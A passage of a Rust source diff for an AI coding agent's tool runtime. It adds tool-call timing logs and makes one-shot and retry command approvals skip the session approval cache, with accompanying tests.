handle.await.map_err(Self::tool_task_join_error)?
|
||||
if terminal_outcome_reached.load(Ordering::Acquire) || dispatch_handle.is_finished() {
|
||||
dispatch_handle.await.map_err(Self::tool_task_join_error)?
|
||||
} else {
|
||||
let secs = started.elapsed().as_secs_f32().max(0.1);
|
||||
abort_dispatch_span.record("aborted", true);
|
||||
if wait_for_runtime_cancellation {
|
||||
if terminal_outcome_reached.swap(true, Ordering::AcqRel) {
|
||||
return handle.await.map_err(Self::tool_task_join_error)?;
|
||||
return dispatch_handle.await.map_err(Self::tool_task_join_error)?;
|
||||
}
|
||||
// The abort owns the terminal outcome; await only so
|
||||
// the runtime can finish process teardown.
|
||||
match handle.await {
|
||||
match dispatch_handle.await {
|
||||
Ok(_) => {}
|
||||
Err(err) if err.is_cancelled() => {}
|
||||
Err(err) => return Err(Self::tool_task_join_error(err)),
|
||||
}
|
||||
} else {
|
||||
handle.abort();
|
||||
match handle.await {
|
||||
dispatch_handle.abort();
|
||||
match dispatch_handle.await {
|
||||
Ok(result) => return result,
|
||||
Err(err) if err.is_cancelled() => {}
|
||||
Err(err) => return Err(Self::tool_task_join_error(err)),
|
||||
@@ -237,6 +259,88 @@ impl ToolCallRuntime {
|
||||
}
|
||||
}
|
||||
|
||||
impl ToolCallTimingGuard {
|
||||
fn capture(
|
||||
started_at: Instant,
|
||||
conversation_id: &impl std::fmt::Display,
|
||||
turn_id: &str,
|
||||
call: &ToolCall,
|
||||
source: &ToolCallSource,
|
||||
) -> Option<Self> {
|
||||
// Code-mode calls are nested within a direct code-mode tool call whose
|
||||
// timing already includes them. Suppress nested guards so consumers do
|
||||
// not mistake overlapping events for independent tool-call latency.
|
||||
if !matches!(source, ToolCallSource::Direct) || !tracing::enabled!(tracing::Level::INFO) {
|
||||
return None;
|
||||
}
|
||||
|
||||
Some(Self {
|
||||
started_at,
|
||||
execution_started_at: Arc::new(OnceLock::new()),
|
||||
conversation_id: conversation_id.to_string(),
|
||||
turn_id: turn_id.to_string(),
|
||||
call_id: call.call_id.clone(),
|
||||
tool_name: call.tool_name.clone(),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for ToolCallTimingGuard {
|
||||
fn drop(&mut self) {
|
||||
let completed_at = Instant::now();
|
||||
// Snapshot once so a concurrently-starting dispatch cannot make one
|
||||
// event internally inconsistent.
|
||||
let execution_started_at = self
|
||||
.execution_started_at
|
||||
.get()
|
||||
.copied()
|
||||
.filter(|execution_started_at| *execution_started_at <= completed_at);
|
||||
let duration_ms = |duration: std::time::Duration| u64::try_from(duration.as_millis()).ok();
|
||||
let total_duration_ms = duration_ms(completed_at.duration_since(self.started_at));
|
||||
let dispatch_duration_ms = execution_started_at.map_or_else(
|
||||
|| total_duration_ms,
|
||||
|execution_started_at| {
|
||||
duration_ms(execution_started_at.duration_since(self.started_at))
|
||||
},
|
||||
);
|
||||
let handler_duration_ms = execution_started_at.map_or(Some(0), |execution_started_at| {
|
||||
duration_ms(completed_at.duration_since(execution_started_at))
|
||||
});
|
||||
|
||||
macro_rules! log_tool_call {
|
||||
($dispatch_duration_ms:expr, $handler_duration_ms:expr, $total_duration_ms:expr) => {
|
||||
info!(
|
||||
event.name = "codex.tool_call",
|
||||
trace_id = %codex_otel::current_span_trace_id().unwrap_or_default(),
|
||||
conversation.id = %self.conversation_id,
|
||||
turn_id = %self.turn_id,
|
||||
tool_name = %self.tool_name,
|
||||
call_id = %self.call_id,
|
||||
tool_source = "direct",
|
||||
execution_started = execution_started_at.is_some(),
|
||||
dispatch_duration_ms = $dispatch_duration_ms,
|
||||
handler_duration_ms = $handler_duration_ms,
|
||||
total_duration_ms = $total_duration_ms,
|
||||
"tool call completed"
|
||||
);
|
||||
};
|
||||
}
|
||||
|
||||
match (dispatch_duration_ms, handler_duration_ms, total_duration_ms) {
|
||||
(Some(dispatch_duration_ms), Some(handler_duration_ms), Some(total_duration_ms)) => {
|
||||
log_tool_call!(dispatch_duration_ms, handler_duration_ms, total_duration_ms);
|
||||
}
|
||||
_ => {
|
||||
log_tool_call!(
|
||||
tracing::field::Empty,
|
||||
tracing::field::Empty,
|
||||
tracing::field::Empty
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
@@ -255,6 +359,154 @@ mod tests {
|
||||
use pretty_assertions::assert_eq;
|
||||
use tokio::sync::Notify;
|
||||
use tokio::sync::oneshot;
|
||||
use tracing_test::internal::MockWriter;
|
||||
|
||||
#[test]
|
||||
fn tool_call_timing_guard_ignores_code_mode_source() {
|
||||
let subscriber = tracing_subscriber::fmt()
|
||||
.with_max_level(tracing::Level::INFO)
|
||||
.finish();
|
||||
tracing::subscriber::with_default(subscriber, || {
|
||||
let call = ToolCall {
|
||||
tool_name: codex_tools::ToolName::plain("test_tool"),
|
||||
call_id: "call-1".to_string(),
|
||||
payload: ToolPayload::Function {
|
||||
arguments: "{}".to_string(),
|
||||
},
|
||||
};
|
||||
let direct_guard = ToolCallTimingGuard::capture(
|
||||
Instant::now(),
|
||||
&"conversation-id",
|
||||
"turn-id",
|
||||
&call,
|
||||
&ToolCallSource::Direct,
|
||||
);
|
||||
assert!(
|
||||
direct_guard.is_some(),
|
||||
"direct tool calls should create a timing guard"
|
||||
);
|
||||
drop(direct_guard);
|
||||
|
||||
let code_mode_guard = ToolCallTimingGuard::capture(
|
||||
Instant::now(),
|
||||
&"conversation-id",
|
||||
"turn-id",
|
||||
&call,
|
||||
&ToolCallSource::CodeMode {
|
||||
cell_id: "cell-1".to_string(),
|
||||
runtime_tool_call_id: "runtime-call-1".to_string(),
|
||||
},
|
||||
);
|
||||
assert!(
|
||||
code_mode_guard.is_none(),
|
||||
"nested code-mode calls should not create overlapping timing events"
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn cancellation_before_dispatch_admission_logs_dispatch_only_timing() -> anyhow::Result<()>
|
||||
{
|
||||
let (session, turn_context) = crate::session::tests::make_session_and_context().await;
|
||||
let session = Arc::new(session);
|
||||
let turn_context = Arc::new(turn_context);
|
||||
let tool_name = codex_tools::ToolName::plain("test_tool");
|
||||
let handler = Arc::new(ImmediateHandler {
|
||||
tool_name: tool_name.clone(),
|
||||
}) as Arc<dyn CoreToolRuntime>;
|
||||
let step_context = StepContext::for_test(Arc::clone(&turn_context));
|
||||
let router = Arc::new(ToolRouter::from_parts(
|
||||
ToolRegistry::from_tools([handler]),
|
||||
Vec::new(),
|
||||
));
|
||||
let tracker = Arc::new(tokio::sync::Mutex::new(TurnDiffTracker::new()));
|
||||
let runtime = ToolCallRuntime::new(router, session, step_context, tracker);
|
||||
let execution_gate = Arc::clone(&runtime.parallel_execution);
|
||||
let execution_gate_guard = execution_gate
|
||||
.try_write_owned()
|
||||
.expect("execution gate should be available before dispatch starts");
|
||||
let (release_execution_gate_tx, release_execution_gate_rx) = std::sync::mpsc::channel();
|
||||
let execution_gate_task = tokio::task::spawn_blocking(move || {
|
||||
let _execution_gate_guard = execution_gate_guard;
|
||||
release_execution_gate_rx
|
||||
.recv()
|
||||
.expect("test should release the execution gate");
|
||||
});
|
||||
|
||||
let buffer: &'static std::sync::Mutex<Vec<u8>> =
|
||||
Box::leak(Box::new(std::sync::Mutex::new(Vec::new())));
|
||||
let subscriber = tracing_subscriber::fmt()
|
||||
.with_ansi(false)
|
||||
.with_max_level(tracing::Level::INFO)
|
||||
.with_writer(MockWriter::new(buffer))
|
||||
.finish();
|
||||
let _subscriber_guard = tracing::subscriber::set_default(subscriber);
|
||||
|
||||
let cancellation_token = CancellationToken::new();
|
||||
let call = ToolCall {
|
||||
tool_name,
|
||||
call_id: "call-1".to_string(),
|
||||
payload: ToolPayload::Function {
|
||||
arguments: "{}".to_string(),
|
||||
},
|
||||
};
|
||||
let response_task =
|
||||
tokio::spawn(runtime.handle_tool_call(call, cancellation_token.clone()));
|
||||
cancellation_token.cancel();
|
||||
tokio::time::timeout(Duration::from_secs(1), response_task)
|
||||
.await
|
||||
.expect("timed out waiting for cancelled tool response")
|
||||
.expect("cancelled tool response task should join")
|
||||
.expect("cancelled tool call should produce a response");
|
||||
|
||||
let logs = String::from_utf8(
|
||||
buffer
|
||||
.lock()
|
||||
.unwrap_or_else(std::sync::PoisonError::into_inner)
|
||||
.clone(),
|
||||
)?;
|
||||
let timing_events = logs
|
||||
.lines()
|
||||
.filter(|line| line.contains("event.name=\"codex.tool_call\""))
|
||||
.collect::<Vec<_>>();
|
||||
assert_eq!(
|
||||
timing_events.len(),
|
||||
1,
|
||||
"cancelled tool call should emit exactly one timing event; logs:\n{logs}"
|
||||
);
|
||||
let timing_event = timing_events[0];
|
||||
assert!(
|
||||
timing_event.contains("execution_started=false"),
|
||||
"tool cancelled before admission should not report execution started: {timing_event}"
|
||||
);
|
||||
assert!(
|
||||
timing_event.contains("handler_duration_ms=0"),
|
||||
"tool cancelled before admission should report zero handler duration: {timing_event}"
|
||||
);
|
||||
let duration_field = |name: &str| {
|
||||
timing_event.split_whitespace().find_map(|field| {
|
||||
field
|
||||
.strip_prefix(&format!("{name}="))
|
||||
.and_then(|value| value.parse::<u64>().ok())
|
||||
})
|
||||
};
|
||||
let dispatch_duration_ms = duration_field("dispatch_duration_ms")
|
||||
.expect("timing event should include dispatch_duration_ms");
|
||||
let total_duration_ms = duration_field("total_duration_ms")
|
||||
.expect("timing event should include total_duration_ms");
|
||||
assert_eq!(
|
||||
dispatch_duration_ms, total_duration_ms,
|
||||
"tool cancelled before admission should attribute all elapsed time to dispatch: {timing_event}"
|
||||
);
|
||||
release_execution_gate_tx
|
||||
.send(())
|
||||
.expect("execution gate task should remain available");
|
||||
execution_gate_task
|
||||
.await
|
||||
.expect("execution gate task should join");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
struct ImmediateHandler {
|
||||
tool_name: codex_tools::ToolName,
|
||||
|
||||
@@ -127,6 +127,9 @@ impl Approvable<ShellRequest> for ShellRuntime {
|
||||
type ApprovalKey = ApprovalKey;
|
||||
|
||||
fn approval_keys(&self, req: &ShellRequest) -> Vec<Self::ApprovalKey> {
|
||||
if req.exec_approval_requirement.is_one_shot() {
|
||||
return Vec::new();
|
||||
}
|
||||
vec![ApprovalKey {
|
||||
environment_id: req.turn_environment.environment_id.clone(),
|
||||
command: canonicalize_command_for_approval(&req.command),
|
||||
@@ -141,7 +144,15 @@ impl Approvable<ShellRequest> for ShellRuntime {
|
||||
req: &'a ShellRequest,
|
||||
ctx: ApprovalCtx<'a>,
|
||||
) -> BoxFuture<'a, ReviewDecision> {
|
||||
let keys = self.approval_keys(req);
|
||||
// A callback-scoped prompt represents new authority for one concrete
|
||||
// phase, such as an unsandboxed retry. It must not reuse or populate
|
||||
// the command's session approval cache.
|
||||
let single_use = req.exec_approval_requirement.is_one_shot() || ctx.approval_id.is_some();
|
||||
let keys = if single_use {
|
||||
Vec::new()
|
||||
} else {
|
||||
self.approval_keys(req)
|
||||
};
|
||||
let command = req.command.clone();
|
||||
let cwd = req.cwd.clone();
|
||||
let environment_id = Some(req.turn_environment.environment_id.clone());
|
||||
@@ -150,7 +161,10 @@ impl Approvable<ShellRequest> for ShellRuntime {
|
||||
let session = ctx.session;
|
||||
let turn = ctx.turn;
|
||||
let call_id = ctx.call_id.to_string();
|
||||
let approval_id = ctx.approval_id.clone();
|
||||
let approval_purpose = ctx.approval_purpose;
|
||||
let guardian_review_id = ctx.guardian_review_id.clone();
|
||||
let network_approval_context = ctx.network_approval_context.clone();
|
||||
Box::pin(async move {
|
||||
if let Some(review_id) = guardian_review_id {
|
||||
return review_approval_request(
|
||||
@@ -170,17 +184,19 @@ impl Approvable<ShellRequest> for ShellRuntime {
|
||||
.await;
|
||||
}
|
||||
with_cached_approval(&session.services, "shell", keys, move || async move {
|
||||
let available_decisions = None;
|
||||
let available_decisions =
|
||||
single_use.then(|| vec![ReviewDecision::Approved, ReviewDecision::Abort]);
|
||||
session
|
||||
.request_command_approval(
|
||||
turn,
|
||||
call_id,
|
||||
/*approval_id*/ None,
|
||||
approval_id,
|
||||
Some(approval_purpose),
|
||||
environment_id,
|
||||
command,
|
||||
cwd,
|
||||
reason,
|
||||
ctx.network_approval_context.clone(),
|
||||
network_approval_context,
|
||||
req.exec_approval_requirement
|
||||
.proposed_execpolicy_amendment()
|
||||
.cloned(),
|
||||
|
||||
@@ -41,6 +41,7 @@ use codex_protocol::models::PermissionProfile;
|
||||
use codex_protocol::permissions::FileSystemSandboxPolicy;
|
||||
use codex_protocol::permissions::NetworkSandboxPolicy;
|
||||
use codex_protocol::protocol::AskForApproval;
|
||||
use codex_protocol::protocol::ExecApprovalPurpose;
|
||||
use codex_protocol::protocol::GuardianCommandSource;
|
||||
use codex_protocol::protocol::NetworkPolicyRuleAction;
|
||||
use codex_protocol::protocol::ReviewDecision;
|
||||
@@ -519,6 +520,7 @@ impl CoreShellActionProvider {
|
||||
&turn,
|
||||
call_id,
|
||||
approval_id,
|
||||
Some(ExecApprovalPurpose::Execve),
|
||||
environment_id,
|
||||
command,
|
||||
workdir.clone(),
|
||||
|
||||
@@ -1,7 +1,44 @@
|
||||
use super::*;
|
||||
use crate::state::ActiveTurn;
|
||||
use codex_exec_server::Environment;
|
||||
use codex_protocol::protocol::EventMsg;
|
||||
use codex_protocol::protocol::ExecApprovalPurpose;
|
||||
use codex_protocol::protocol::NetworkApprovalContext;
|
||||
use codex_protocol::protocol::NetworkApprovalProtocol;
|
||||
use codex_utils_path_uri::PathUri;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use tokio::time::timeout;
|
||||
|
||||
fn one_shot_request() -> ShellRequest {
|
||||
let cwd = AbsolutePathBuf::try_from(std::env::current_dir().expect("read current dir"))
|
||||
.expect("current dir is absolute");
|
||||
ShellRequest {
|
||||
command: vec!["echo".to_string(), "one shot".to_string()],
|
||||
turn_environment: TurnEnvironment::new(
|
||||
"remote".to_string(),
|
||||
Arc::new(Environment::default_for_tests()),
|
||||
PathUri::from_abs_path(&cwd),
|
||||
/*shell*/ None,
|
||||
),
|
||||
shell_type: None,
|
||||
hook_command: "echo 'one shot'".to_string(),
|
||||
cwd,
|
||||
timeout_ms: None,
|
||||
cancellation_token: CancellationToken::new(),
|
||||
env: HashMap::new(),
|
||||
explicit_env_overrides: HashMap::new(),
|
||||
network: None,
|
||||
sandbox_permissions: SandboxPermissions::UseDefault,
|
||||
additional_permissions: None,
|
||||
#[cfg(unix)]
|
||||
additional_permissions_preapproved: false,
|
||||
justification: None,
|
||||
exec_approval_requirement: ExecApprovalRequirement::NeedsOneShotApproval {
|
||||
reason: Some("one run only".to_string()),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn approval_key_includes_environment_id() {
|
||||
@@ -40,3 +77,126 @@ async fn approval_key_includes_environment_id() {
|
||||
|
||||
assert_ne!(original_key, other_key);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn one_shot_approval_has_no_session_cache_key() {
|
||||
let request = one_shot_request();
|
||||
let runtime = ShellRuntime::for_shell_command(ShellRuntimeBackend::ShellCommandClassic);
|
||||
|
||||
assert!(runtime.approval_keys(&request).is_empty());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn one_shot_approval_routes_by_callback_id() {
|
||||
let (session, turn, events) = crate::session::tests::make_session_and_context_with_rx().await;
|
||||
*session.active_turn.lock().await = Some(ActiveTurn::default());
|
||||
let mut runtime = ShellRuntime::for_shell_command(ShellRuntimeBackend::ShellCommandClassic);
|
||||
let request = one_shot_request();
|
||||
let call_id = "command-item";
|
||||
let approval_id = "retry-callback";
|
||||
let approval = runtime.start_approval_async(
|
||||
&request,
|
||||
ApprovalCtx {
|
||||
session: &session,
|
||||
turn: &turn,
|
||||
call_id,
|
||||
approval_id: Some(approval_id.to_string()),
|
||||
approval_purpose: ExecApprovalPurpose::SandboxRetry,
|
||||
guardian_review_id: None,
|
||||
retry_reason: Some("sandbox denied".to_string()),
|
||||
network_approval_context: None,
|
||||
},
|
||||
);
|
||||
let respond = async {
|
||||
let event = events.recv().await.expect("approval event");
|
||||
let EventMsg::ExecApprovalRequest(event) = event.msg else {
|
||||
panic!("expected exec approval");
|
||||
};
|
||||
assert_eq!(event.call_id, call_id);
|
||||
assert_eq!(event.approval_id.as_deref(), Some(approval_id));
|
||||
assert_eq!(
|
||||
event.approval_purpose,
|
||||
Some(ExecApprovalPurpose::SandboxRetry)
|
||||
);
|
||||
assert_eq!(
|
||||
event.effective_available_decisions(),
|
||||
vec![ReviewDecision::Approved, ReviewDecision::Abort]
|
||||
);
|
||||
session
|
||||
.notify_exec_approval(approval_id, ReviewDecision::Approved)
|
||||
.await;
|
||||
};
|
||||
|
||||
let (decision, ()) = tokio::join!(approval, respond);
|
||||
assert_eq!(decision, ReviewDecision::Approved);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn callback_scoped_retry_ignores_session_cache() {
|
||||
let (session, turn, events) = crate::session::tests::make_session_and_context_with_rx().await;
|
||||
*session.active_turn.lock().await = Some(ActiveTurn::default());
|
||||
let mut runtime = ShellRuntime::for_shell_command(ShellRuntimeBackend::ShellCommandClassic);
|
||||
let mut request = one_shot_request();
|
||||
request.exec_approval_requirement = ExecApprovalRequirement::NeedsApproval {
|
||||
reason: Some("initial approval".to_string()),
|
||||
proposed_execpolicy_amendment: None,
|
||||
};
|
||||
let keys = runtime.approval_keys(&request);
|
||||
assert_eq!(keys.len(), 1);
|
||||
{
|
||||
let mut store = session.services.tool_approvals.lock().await;
|
||||
for key in keys {
|
||||
store.put(key, ReviewDecision::ApprovedForSession);
|
||||
}
|
||||
}
|
||||
|
||||
let call_id = "cached-command-item";
|
||||
let approval_id = "network-retry-callback";
|
||||
let network_approval_context = NetworkApprovalContext {
|
||||
host: "new-authority.example".to_string(),
|
||||
protocol: NetworkApprovalProtocol::Https,
|
||||
};
|
||||
let approval = runtime.start_approval_async(
|
||||
&request,
|
||||
ApprovalCtx {
|
||||
session: &session,
|
||||
turn: &turn,
|
||||
call_id,
|
||||
approval_id: Some(approval_id.to_string()),
|
||||
approval_purpose: ExecApprovalPurpose::SandboxRetry,
|
||||
guardian_review_id: None,
|
||||
retry_reason: Some("network denied".to_string()),
|
||||
network_approval_context: Some(network_approval_context.clone()),
|
||||
},
|
||||
);
|
||||
let respond = async {
|
||||
let event = events.recv().await.expect("approval event");
|
||||
let EventMsg::ExecApprovalRequest(event) = event.msg else {
|
||||
panic!("expected exec approval");
|
||||
};
|
||||
assert_eq!(event.call_id, call_id);
|
||||
assert_eq!(event.approval_id.as_deref(), Some(approval_id));
|
||||
assert_eq!(
|
||||
event.approval_purpose,
|
||||
Some(ExecApprovalPurpose::SandboxRetry)
|
||||
);
|
||||
assert_eq!(
|
||||
event.network_approval_context,
|
||||
Some(network_approval_context)
|
||||
);
|
||||
assert_eq!(
|
||||
event.effective_available_decisions(),
|
||||
vec![ReviewDecision::Approved, ReviewDecision::Abort]
|
||||
);
|
||||
session
|
||||
.notify_exec_approval(approval_id, ReviewDecision::Approved)
|
||||
.await;
|
||||
};
|
||||
|
||||
let (decision, ()) = timeout(Duration::from_secs(1), async {
|
||||
tokio::join!(approval, respond)
|
||||
})
|
||||
.await
|
||||
.expect("cached command authority must not skip the retry callback");
|
||||
assert_eq!(decision, ReviewDecision::Approved);
|
||||
}
|
||||
|
||||
@@ -158,6 +158,9 @@ impl Approvable<UnifiedExecRequest> for UnifiedExecRuntime<'_> {
|
||||
type ApprovalKey = UnifiedExecApprovalKey;
|
||||
|
||||
fn approval_keys(&self, req: &UnifiedExecRequest) -> Vec<Self::ApprovalKey> {
|
||||
if req.exec_approval_requirement.is_one_shot() {
|
||||
return Vec::new();
|
||||
}
|
||||
vec![UnifiedExecApprovalKey {
|
||||
environment_id: req.turn_environment.environment_id.clone(),
|
||||
command: canonicalize_command_for_approval(&req.command),
|
||||
@@ -173,15 +176,26 @@ impl Approvable<UnifiedExecRequest> for UnifiedExecRuntime<'_> {
|
||||
req: &'b UnifiedExecRequest,
|
||||
ctx: ApprovalCtx<'b>,
|
||||
) -> BoxFuture<'b, ReviewDecision> {
|
||||
let keys = self.approval_keys(req);
|
||||
// A callback-scoped prompt represents new authority for one concrete
|
||||
// phase, such as an unsandboxed retry. It must not reuse or populate
|
||||
// the command's session approval cache.
|
||||
let single_use = req.exec_approval_requirement.is_one_shot() || ctx.approval_id.is_some();
|
||||
let keys = if single_use {
|
||||
Vec::new()
|
||||
} else {
|
||||
self.approval_keys(req)
|
||||
};
|
||||
let session = ctx.session;
|
||||
let turn = ctx.turn;
|
||||
let call_id = ctx.call_id.to_string();
|
||||
let approval_id = ctx.approval_id.clone();
|
||||
let approval_purpose = ctx.approval_purpose;
|
||||
let command = req.command.clone();
|
||||
let environment_id = Some(req.turn_environment.environment_id.clone());
|
||||
let retry_reason = ctx.retry_reason.clone();
|
||||
let reason = retry_reason.clone().or_else(|| req.justification.clone());
|
||||
let guardian_review_id = ctx.guardian_review_id.clone();
|
||||
let network_approval_context = ctx.network_approval_context.clone();
|
||||
Box::pin(async move {
|
||||
let native_cwd = match req.cwd.to_abs_path() {
|
||||
Ok(c) => c,
|
||||
@@ -211,17 +225,19 @@ impl Approvable<UnifiedExecRequest> for UnifiedExecRuntime<'_> {
|
||||
.await;
|
||||
}
|
||||
with_cached_approval(&session.services, "unified_exec", keys, || async move {
|
||||
let available_decisions = None;
|
||||
let available_decisions =
|
||||
single_use.then(|| vec![ReviewDecision::Approved, ReviewDecision::Abort]);
|
||||
session
|
||||
.request_command_approval(
|
||||
turn,
|
||||
call_id,
|
||||
/*approval_id*/ None,
|
||||
approval_id,
|
||||
Some(approval_purpose),
|
||||
environment_id,
|
||||
command,
|
||||
native_cwd,
|
||||
reason,
|
||||
ctx.network_approval_context.clone(),
|
||||
network_approval_context,
|
||||
req.exec_approval_requirement
|
||||
.proposed_execpolicy_amendment()
|
||||
.cloned(),
|
||||
@@ -491,15 +507,21 @@ impl<'a> ToolRuntime<UnifiedExecRequest, UnifiedExecProcess> for UnifiedExecRunt
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::exec::DEFAULT_EXEC_COMMAND_TIMEOUT_MS;
|
||||
use crate::state::ActiveTurn;
|
||||
use crate::tools::sandboxing::ToolRuntime;
|
||||
use codex_exec_server::Environment;
|
||||
use codex_exec_server::LOCAL_ENVIRONMENT_ID;
|
||||
use codex_protocol::protocol::EventMsg;
|
||||
use codex_protocol::protocol::ExecApprovalPurpose;
|
||||
use codex_protocol::protocol::NetworkApprovalContext;
|
||||
use codex_protocol::protocol::NetworkApprovalProtocol;
|
||||
use codex_tools::ZshForkConfig;
|
||||
use codex_utils_absolute_path::AbsolutePathBuf;
|
||||
use codex_utils_path_uri::PathUri;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use tempfile::tempdir;
|
||||
use tokio::time::timeout;
|
||||
|
||||
fn test_turn_environment(cwd: PathUri) -> TurnEnvironment {
|
||||
TurnEnvironment::new(
|
||||
@@ -551,6 +573,146 @@ mod tests {
|
||||
assert_ne!(original_key, other_key);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn one_shot_approval_has_no_session_cache_key() {
|
||||
let manager = UnifiedExecProcessManager::default();
|
||||
let runtime = UnifiedExecRuntime::new(&manager, UnifiedExecShellMode::Direct);
|
||||
let request = test_request(
|
||||
SandboxPermissions::UseDefault,
|
||||
ExecApprovalRequirement::NeedsOneShotApproval {
|
||||
reason: Some("one run only".to_string()),
|
||||
},
|
||||
);
|
||||
|
||||
assert!(runtime.approval_keys(&request).is_empty());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn one_shot_approval_routes_by_callback_id() {
|
||||
let (session, turn, events) =
|
||||
crate::session::tests::make_session_and_context_with_rx().await;
|
||||
*session.active_turn.lock().await = Some(ActiveTurn::default());
|
||||
let manager = UnifiedExecProcessManager::default();
|
||||
let mut runtime = UnifiedExecRuntime::new(&manager, UnifiedExecShellMode::Direct);
|
||||
let request = test_request(
|
||||
SandboxPermissions::UseDefault,
|
||||
ExecApprovalRequirement::NeedsOneShotApproval {
|
||||
reason: Some("one run only".to_string()),
|
||||
},
|
||||
);
|
||||
let call_id = "command-item";
|
||||
let approval_id = "retry-callback";
|
||||
let approval = runtime.start_approval_async(
|
||||
&request,
|
||||
ApprovalCtx {
|
||||
session: &session,
|
||||
turn: &turn,
|
||||
call_id,
|
||||
approval_id: Some(approval_id.to_string()),
|
||||
approval_purpose: ExecApprovalPurpose::SandboxRetry,
|
||||
guardian_review_id: None,
|
||||
retry_reason: Some("sandbox denied".to_string()),
|
||||
network_approval_context: None,
|
||||
},
|
||||
);
|
||||
let respond = async {
|
||||
let event = events.recv().await.expect("approval event");
|
||||
let EventMsg::ExecApprovalRequest(event) = event.msg else {
|
||||
panic!("expected exec approval");
|
||||
};
|
||||
assert_eq!(event.call_id, call_id);
|
||||
assert_eq!(event.approval_id.as_deref(), Some(approval_id));
|
||||
assert_eq!(
|
||||
event.approval_purpose,
|
||||
Some(ExecApprovalPurpose::SandboxRetry)
|
||||
);
|
||||
assert_eq!(
|
||||
event.effective_available_decisions(),
|
||||
vec![ReviewDecision::Approved, ReviewDecision::Abort]
|
||||
);
|
||||
session
|
||||
.notify_exec_approval(approval_id, ReviewDecision::Approved)
|
||||
.await;
|
||||
};
|
||||
|
||||
let (decision, ()) = tokio::join!(approval, respond);
|
||||
assert_eq!(decision, ReviewDecision::Approved);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn callback_scoped_retry_ignores_session_cache() {
|
||||
let (session, turn, events) =
|
||||
crate::session::tests::make_session_and_context_with_rx().await;
|
||||
*session.active_turn.lock().await = Some(ActiveTurn::default());
|
||||
let manager = UnifiedExecProcessManager::default();
|
||||
let mut runtime = UnifiedExecRuntime::new(&manager, UnifiedExecShellMode::Direct);
|
||||
let request = test_request(
|
||||
SandboxPermissions::UseDefault,
|
||||
ExecApprovalRequirement::NeedsApproval {
|
||||
reason: Some("initial approval".to_string()),
|
||||
proposed_execpolicy_amendment: None,
|
||||
},
|
||||
);
|
||||
let keys = runtime.approval_keys(&request);
|
||||
assert_eq!(keys.len(), 1);
|
||||
{
|
||||
let mut store = session.services.tool_approvals.lock().await;
|
||||
for key in keys {
|
||||
store.put(key, ReviewDecision::ApprovedForSession);
|
||||
}
|
||||
}
|
||||
|
||||
let call_id = "cached-command-item";
|
||||
let approval_id = "network-retry-callback";
|
||||
let network_approval_context = NetworkApprovalContext {
|
||||
host: "new-authority.example".to_string(),
|
||||
protocol: NetworkApprovalProtocol::Https,
|
||||
};
|
||||
let approval = runtime.start_approval_async(
|
||||
&request,
|
||||
ApprovalCtx {
|
||||
session: &session,
|
||||
turn: &turn,
|
||||
call_id,
|
||||
approval_id: Some(approval_id.to_string()),
|
||||
approval_purpose: ExecApprovalPurpose::SandboxRetry,
|
||||
guardian_review_id: None,
|
||||
retry_reason: Some("network denied".to_string()),
|
||||
network_approval_context: Some(network_approval_context.clone()),
|
||||
},
|
||||
);
|
||||
let respond = async {
|
||||
let event = events.recv().await.expect("approval event");
|
||||
let EventMsg::ExecApprovalRequest(event) = event.msg else {
|
||||
panic!("expected exec approval");
|
||||
};
|
||||
assert_eq!(event.call_id, call_id);
|
||||
assert_eq!(event.approval_id.as_deref(), Some(approval_id));
|
||||
assert_eq!(
|
||||
event.approval_purpose,
|
||||
Some(ExecApprovalPurpose::SandboxRetry)
|
||||
);
|
||||
assert_eq!(
|
||||
event.network_approval_context,
|
||||
Some(network_approval_context)
|
||||
);
|
||||
assert_eq!(
|
||||
event.effective_available_decisions(),
|
||||
vec![ReviewDecision::Approved, ReviewDecision::Abort]
|
||||
);
|
||||
session
|
||||
.notify_exec_approval(approval_id, ReviewDecision::Approved)
|
||||
.await;
|
||||
};
|
||||
|
||||
let (decision, ()) = timeout(Duration::from_secs(1), async {
|
||||
tokio::join!(approval, respond)
|
||||
})
|
||||
.await
|
||||
.expect("cached command authority must not skip the retry callback");
|
||||
assert_eq!(decision, ReviewDecision::Approved);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn unified_exec_uses_the_trusted_sandbox_cwd() {
|
||||
let cwd_dir = tempdir().expect("create process temp dir");
|
||||
|
||||
@@ -19,6 +19,7 @@ use codex_protocol::error::CodexErr;
|
||||
use codex_protocol::permissions::FileSystemSandboxKind;
|
||||
use codex_protocol::permissions::FileSystemSandboxPolicy;
|
||||
use codex_protocol::protocol::AskForApproval;
|
||||
use codex_protocol::protocol::ExecApprovalPurpose;
|
||||
use codex_protocol::protocol::ReviewDecision;
|
||||
use codex_sandboxing::SandboxCommand;
|
||||
use codex_sandboxing::SandboxManager;
|
||||
@@ -81,9 +82,19 @@ where
|
||||
F: FnOnce() -> Fut,
|
||||
Fut: Future<Output = ReviewDecision>,
|
||||
{
|
||||
// To be defensive here, don't bother with checking the cache if keys are empty.
|
||||
// Empty keys deliberately make this request one-shot: ask and record the
|
||||
// decision, but neither consult nor populate the session cache.
|
||||
if keys.is_empty() {
|
||||
return fetch().await;
|
||||
let decision = fetch().await;
|
||||
services.session_telemetry.counter(
|
||||
"codex.approval.requested",
|
||||
/*inc*/ 1,
|
||||
&[
|
||||
("tool", tool_name),
|
||||
("approved", decision.to_opaque_string()),
|
||||
],
|
||||
);
|
||||
return decision;
|
||||
}
|
||||
|
||||
let already_approved = {
|
||||
@@ -122,6 +133,12 @@ pub(crate) struct ApprovalCtx<'a> {
|
||||
pub session: &'a Arc<Session>,
|
||||
pub turn: &'a Arc<TurnContext>,
|
||||
